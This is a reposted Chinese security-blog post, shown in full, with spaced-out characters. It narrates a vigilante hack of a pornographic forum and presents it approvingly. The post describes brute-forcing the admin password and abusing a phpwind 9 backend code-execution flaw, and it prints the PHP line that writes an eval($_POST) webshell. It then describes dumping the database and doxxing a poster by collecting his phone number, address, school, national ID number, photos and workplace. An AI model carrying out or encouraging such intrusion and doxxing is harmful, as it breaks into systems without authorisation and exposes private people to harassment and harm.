搜索

[26899] 2020-01-16_“净网2020”打击网络色情，社工追踪变态色情狂

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-01-16_“净网2020”打击网络色情，社工追踪变态色情狂 “ 净 网 2 0 2 0 ” 打 击 网 络 色 情 ， 社 工 追 踪 变 态 色 情 狂 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 1 - 1 6 本 文 作 者 ： 牛 睾 （ S R C 小 组 成 员 ）         2 0 2 0 年 1 月 1 0 日 心 情 也 比 较 糟 糕 ， Q Q 群 一 个 群 友 举 报 一 个 论 坛 ， 经 排 查 确 定 该 论 坛 为 色 情 论 坛 ， 为 响 应 国 家 净 网 行 动 ， 坚 决 打 击 非 法 传 播 传 播 淫 秽 物 品 行 为 ！ 在 踩 点 该 网 站 的 时 候 ， 甚 至 看 到 如 下 一 篇 帖 子 ：
        我 心 想 ， 卧 槽 尼 玛 ， 还 有 这 种 操 作 还 真 是 什 么 样 的 人 都 有 哈 ， 把 脏 东 西 搞 到 女 孩 子 的 汉 堡 里 ， 然 后 再 包 起 来 放 回 去 。 再 看 着 人 家 把 汉 堡 完 。 。 。 。 。         我 决 定 用 我 毕 生 所 学 找 到 这 个 魔 鬼 。 。 。 。 不 惜 一 切 代 价 。 。 。 。 因 为 可 以 想 象 到 ， 如 果 是 我 做 火 车 ， 别 人 趁 我 睡 着 ， 给 我 的 汉 堡 里 加 点 料 ， 是 什 么 感 觉 。 。 。 。           因 为 我 不 是 会 员 ， 只 能 看 到 少 量 的 图 片 ， 于 是 注 册 账 号 ， 发 现 这 个 论 坛 要 邀 请 码 才 能 注 册 会 员 ， 邀 请 码 要 1 0 0 块 一 个 ， 而 我 是 一 个 屌 丝 ， 囊 中 羞 涩 ， 自 然 掏 不 出 这 个 钱 。
        接 着 对 该 站 进 行 信 息 收 集 ， 发 现 网 站 使 用 程 序 是 p h p w i n d   V 9 . 0 . 1 的 ， 还 发 现 了 后 台 登 录 地 址 。         这 里 可 以 看 到 ， 没 有 验 证 码 ， 根 据 发 帖 记 录 可 以 知 道 管 理 员 账 号 是 a d m i n ， 接 下 来 就 是 爆 破 密 码 。 用 时 5 分 钟 ， 获 取 到 管 理 员 密 码 。 尝 试 登 录 台 。
此 刻 ， 隐 约 想 起 p h p w i n d - 9 后 台 有 一 个 命 令 执 行 漏 洞 ， 而 且 官 方 一 直 没 修 复 。 漏 洞 点 位 于 门 户 - > 模 块 管 理 - > 调 用 管 理 - > 添 加 模 块 - > 自 定 义 h t m l 。 在 自 定 义 h t m l 里 输 入 < ? p h p p h p i n f o ( ) ? > , 提 交 后 ， 点 击 调 用 代 码 。
        去 掉 x m l ， 可 以 正 常 显 示 p h p 信 息 ， 此 时 把 p h p i n f o ( )   换 成 写 s h e l l 文 件 代 码 < ? p h p f p u t s ( f o p e n ( " x x x . p h p " , " w " ) , " < ? e v a l ( $ _ P O S T [ x x x ] ) ; ? > " ) ; ? > ， 因 为 这 台 服 务 器 没 有 w a f ， 所 以 不 用 做 处 理 接 着 菜 刀 连 接 。         顺 手 拖 个 库 ， 可 是 这 套 系 统 不 太 熟 ， 数 据 库 备 份 完 后 ， 没 找 到 下 载 点 ， 也 不 想 花 太 多 时 间 折 腾 ， 直 接 写 了 一 个 拖 库 脚 本 。 最 终 结 果 下 。
涉 事 论 坛 地 址 就 不 放 出 来 了 ， 准 备 移 交 相 关 部 门 ！ 接 下 来 就 是 要 寻 找 发 帖 人 I D “ 那 个 魔 鬼 " 。 。 。 。 。         接 着 破 解 密 码 ， 很 快 得 到 密 码 ， 在 网 络 中 寻 找 这 个 I D ， 找 到 一 篇 关 于 他 的 帖 子 ， 内 容 如 下 。
        这 相 貌 堂 堂 ， 一 表 人 才 ， 做 事 却 如 此 龌 龊 不 堪 ， 可 我 还 有 一 丝 怜 悯 之 心 ， 给 你 留 下 最 后 的 尊 严 。 。 。 言 归 正 传 。 接 下 来 继 续 寻 找 。 发 现 另 外 一 个 站 点 关 于 他 的 信 息 ， 这 次 找 到 的 信 息 迎 来 了 后 续 一 系 列 信 息 ， 看 ， 找 到 了 什 么 ， 居 然 是 另 外 一 个 Q Q 和 手 机 号 ， 紧 接 着 继 续 摸 。 这 次 摸 到 了 地 址 ， 到 此 ， 还 没 满 足 ， 接 着 摸 。
这 次 摸 到 了 毕 业 院 校 ， 再 尝 试 看 看 能 不 能 摸 到 S F Z 信 息 。 运 气 还 不 错 ， 不 光 得 到 了 证 件 号 码 ， 还 多 加 2 张 照 片 ， 再 通 过 地 址 ， 找 到 了 工 作 单 位 和 电 话 。 到 这 里 ， 已 经 可 以 确 定 他 是 在 政 府 部 门 上 班 ， 而 且 有 着 大 好 未 来 ， 做 事 却 如 此 不 堪 ！ 举 头 三 尺 有 神 灵 ， 多 行 不 义 必 自 毙 ！ ！ 好 好 学 习 ， 天 天 向 上 ， 远 离 黄 赌 毒 ！ 1 . W e b 安 全 零 基 础 入 门 到 进 阶 教 程 2 . 二 进 制 逆 向 入 门 指 南 与 路 线 规 划
M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 《 内 网 安 全 攻 防 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 渗 透 测 试 实 战 指 南 》 ， 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 二 进 制 逆 向 方 面 的 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理